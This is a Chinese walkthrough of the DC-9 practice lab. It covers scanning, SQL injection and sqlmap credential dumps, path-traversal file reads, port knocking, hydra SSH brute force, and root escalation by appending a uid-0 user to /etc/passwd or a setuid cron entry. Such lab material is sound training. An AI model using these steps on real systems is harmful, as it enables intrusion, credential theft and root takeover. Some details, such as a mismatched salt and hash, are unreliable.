目录
DC-9靶场链接:
首先进行主机发现:
sqlmap注入:
文件包含:
端口敲门规则:
hydra爆破:
root提权:
方法一/etc/passwd:
编辑
方法二定时任务crontab:
https://download.vulnhub.com/dc/DC-9.zip
下载后解压会有一个DC-9.ova文件,直接在vm虚拟机点击左上角打开-->文件-->选中这个.ova文件就能创建靶场,kali和靶机都调整至NAT模式
arp-scan -l
得知靶机ip为192.168.183.152
192.168.183.1 00:50:56:c0:00:08 (Unknown)
192.168.183.2 00:50:56:fc:0d:25 (Unknown)
192.168.183.152 00:0c:29:2b:2b:33 (Unknown)
192.168.183.254 00:50:56:fe:ac:e6 (Unknown)
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.853 seconds (138.15 hosts/sec). 4 responded
nmap扫描端口:
nmap -sV -p- 192.168.183.152
开放80端口,22端口处于过滤状态
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
MAC Address: 00:0C:29:2B:2B:33 (VMware)
dirsearch扫文件
dirsearch -u 192.168.183.152 -e * -i 200
Target: http://192.168.183.152/
[12:29:08] Starting:
[12:29:18] 200 - 0B - /config.php
[12:29:23] 200 - 409B - /includes/
[12:29:26] 200 - 494B - /manage.php
打开网页,一开始看到员工信息和登录页面那里,想到Cewl爬取/display.php网页信息做密码字典,把这页的员工名字和邮件名都复制进字典里做用户字典,用hydra爆破,但是hydra拒绝链接(当时还没留意到22的filter。。)
登录框尝试sql注入,
0' union select 1,2,3,4,5,6#
0' union select 1,2,3,4,5,database()# //数据库staff
抓包的话能看见虽然登录页面是/search.php,但是包里的路径是/results.php
sqlmap抓数据库:
sqlmap -u "http://192.168.183.152/results.php" --data "search=bettyr" --dbs --dump
得到账户admin和密码transorbital1
Database: Staff
Table: Users
[1 entry]
+--------+--------------------------------------------------+----------+
| UserID | Password | Username |
+--------+--------------------------------------------------+----------+
| 1 | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1) | admin |
+--------+--------------------------------------------------+----------+
继续收集别的用户密码:
sqlmap -u "http://192.168.183.152/results.php" --data "search=mary" --dbs --dump
得到三个库:
[13:04:12] [INFO] fetching database names
available databases [3]:
[*] information_schema
[*] Staff
[*] users
先看users库的:
sqlmap -u http://192.168.183.152/results.php --data 'search=mary' -D users --tables
得到UserDetails表名:
[13:11:10] [INFO] fetching tables for database: 'users'
Database: users
[1 table]
+-------------+
| UserDetails |
+-------------+
查段名:
sqlmap -u http://192.168.183.152/results.php --data 'search=mary' -D users -T UserDetails --colunms
接下来查username和password:
[13:12:12] [INFO] fetching columns for table 'UserDetails' in database 'users'
Database: users
Table: UserDetails
[6 columns]
+-----------+-----------------+
| Column | Type |
+-----------+-----------------+
| firstname | varchar(30) |
| id | int(6) unsigned |
| lastname | varchar(30) |
| password | varchar(20) |
| reg_date | timestamp |
| username | varchar(30) |
+-----------+-----------------+
查看字段:
sqlmap -u http://192.168.183.152/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump
得到用户名及密码:
Table: UserDetails
[17 entries]
+-----------+---------------+
| username | password |
+-----------+---------------+
| marym | 3kfs86sfd |
| julied | 468sfdfsd2 |
| fredf | 4sfd87sfd1 |
| barneyr | RocksOff |
| tomc | TC&TheBoyz |
| jerrym | B8m#48sd |
| wilmaf | Pebbles |
| bettyr | BamBam01 |
| chandlerb | UrAG0D! |
| joeyt | Passw0rd |
| rachelg | yN72#dsd |
| rossg | ILoveRachel |
| monicag | 3248dsds7s |
| phoebeb | smellycats |
| scoots | YR3BVxxxw87 |
| janitor | Ilovepeepee |
| janitor2 | Hawaii-Five-0 |
+-----------+---------------+
先用admin的账户登录上去,看见底下的“File does not exist”
"File does not exist"的错误提示表明所引用的文件不存在。当尝试加载或访问本地文件时,如果文件路径不正确或文件确实不存在,系统会返回此错误。
根据经验参数很可能是file,?file=/etc/passwd没有成功,多加几个../跳转
http://192.168.183.152/manage.php?file=../../../../../etc/passwd
服务器是Apache,试着包含一下配置文件,但是读不了配置文件和日志文件,也就无法和之前一样一句话木马上去。联想到ssh的22端口状态是filtered 的,猜想是被服务器装了 knockd 工具隐藏了。查找 knockd的配置文件:
?file=../../../../etc/knockd.conf
端口敲门规则(Port Knocking)是一种网络安全技术,用于隐藏和保护服务器的开放端口。它是通过在特定的顺序中发送特定的数据包或连接请求来实现的。通常情况下,服务器的开放端口是可以直接访问的,这使得服务器容易受到恶意攻击。而端口敲门规则可以在不公开服务器实际开放端口的情况下,提供一种访问服务器的方法。
具体来说,端口敲门规则工作原理如下:
1、客户端向服务器发送一系列特定的数据包或连接请求,按照预定的顺序进行操作。
2、服务器上设置了一个监控程序,它会监听服务器接收到的数据包或连接请求。
3、当服务器接收到符合预定顺序的特定数据包或连接请求时,它会临时打开相应的端口,允许客户端访问服务器。
4、客户端在获得访问权限后,可以通过打开的端口与服务器进行通信,完成所需的操作。
端口敲门规则的好处在于隐藏了服务器的实际开放端口,增加了服务器的安全性。只有知道正确的敲门序列的客户端才能访问服务器,而其他人无法直接访问服务器的开放端口。
/etc/knockd.conf 文件是 Knockd 服务的配置文件,它用于指定 Knockd 敲门规则,Knockd 是一种端口伪装技术,可以通过在指定的端口序列上发送特殊的数据包来打开一个或多个防火墙规则以允许传入的连接请求通过。
在 /etc/knockd.conf 文件使用INI格式,其中包含以下主要部分:
- options:包含全局选项,如日志路径、PID文件路径等。
- control:包含Knockd控制服务的配置,如监听的IP地址和端口号等。
- sequence:该部分列出了要检查的端口序列,以及每个序列相关的配置,如打开的端口、打开端口的持续时间、使用哪个防火墙规则等。
配置文件的内容大概是(引用他人解释):
[options]
UseSyslog
[openSSH]
sequence = 7469,8475,9842 # 打开ssh 22访问的三个操作端口 ;
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //-i 命令是将规则插入到最前面,最先生效,以防止过滤所有端口的情况将此条规则吃掉
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469 # 关闭ssh 22访问的三个操作端口
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //SSH使用完后,再将22端口“保护”起来
tcpflags = syn
也就是说我们依次访问,打开操作的端口 7469、8475、9842 完成“敲门”操作,就可以用ssh登录了
在kali中执行如下命令:
使用7469/8475/9842队列号敲门登录:
nmap -p 7469 192.168.183.152
nmap -p 8475 192.168.183.152
nmap -p 9842 192.168.183.152
或者加快命令的输入速度也可以写个python的 for in 循环来访问,如下:
for x in 7469 8475 9842; do nmap -p $x 192.168.183.152; done
现在可以ssh登录了,再次尝试hydra爆破,把刚刚sqlmap搞出来的用户名放一个文件user.txt,密码放一个文件passwd.txt,然后开始爆破
hydra -L user.txt -P passwd.txt ssh://192.168.183.152
用户名:
janitor2
janitor
phoebeb
monicag
rossg
joeyt
chandlerb
fredf
密码:
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
得到 login: janitor password: Ilovepeepee
远程登录:
janitor用户目录下有隐藏目录.secrets-for-putin里面有隐藏的密码文件,做成字典再次hydra爆破
得到一组新账户:用户:fredf,密码: B4-Tru3-001
登录后sudo -l查看具有root权限的文件,里面躺着一个test,这个路径的向上两级能看到test.py
cat test.py
脚本内容:
#!/usr/bin/python
import sys #包含sys后 才能用sys.argv
if len (sys.argv) != 3 : #sys.argv[1] 是文件本身
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r") # r 以只读方式打开文件。文件的指针都放在文件开头。这是默认模式。
output = (f.read())
f = open(sys.argv[2], "a") # a 打开一个文件用于追加。如果文件已存在,则文件的指针在文件结尾,若文件不存在,则创建新文件并写入。
f.write(output) #写入内容
f.close() # 关闭
只能往里面传2个参数,2个参数应该都是文件名,把第一个文件的内容以追加方式写进第二个文件里。
openssl passwd -1 -salt yonghu 123456
其中,-1
表示使用MD5算法进行加密,-salt yonghu
指定了一个盐值(salt),123456
是要加密的原始密码。执行该命令后,会生成一个经过加密的密码。
echo 'wxy:$1$wxy$LX4Sjq9tXylHPD/rMRRqA1:0:0:root:/bin/bash' > /tmp/se
将包含用户名和加密密码的字符串写入 /tmp/se
文件中。这个字符串中,wxy
是用户名,$1$wxy$LX4Sjq9tXylHPD/rMRRqA1
是经过加密的密码。其他部分是该用户的一些信息,例如用户ID、组ID、根目录和默认shell等。
./test /tmp/se /etc/passwd
执行名为 test
的可执行程序,并将 /tmp/se
文件中的账号密码信息写入 /etc/passwd
文件中
命令的目的是对密码进行加密,将用户名和加密密码写入一个临时文件,然后通过执行 test
程序将该临时文件中的账号信息写入系统的用户数据库 /etc/passwd
中,从而实现添加用户的操作。
然后登录该用户即可得到root权限
或者
perl -e 'print crypt("hack", "salt")' #saOlCG7b7vaGw
echo 'A1oe:saOlCG7b7vaGw:0:0::/root:/bin/bash' > /tmp/11.txt
sudo ./test /tmp/11.txt /etc/passwd
su A1oepassword:hack
echo "* * * * * root chmod 4777 /bin/sh" > /tmp/1.txt
/opt/devstuff/dist/test$ sudo ./test /tmp/1.txt /etc/crontab
flag在/root下面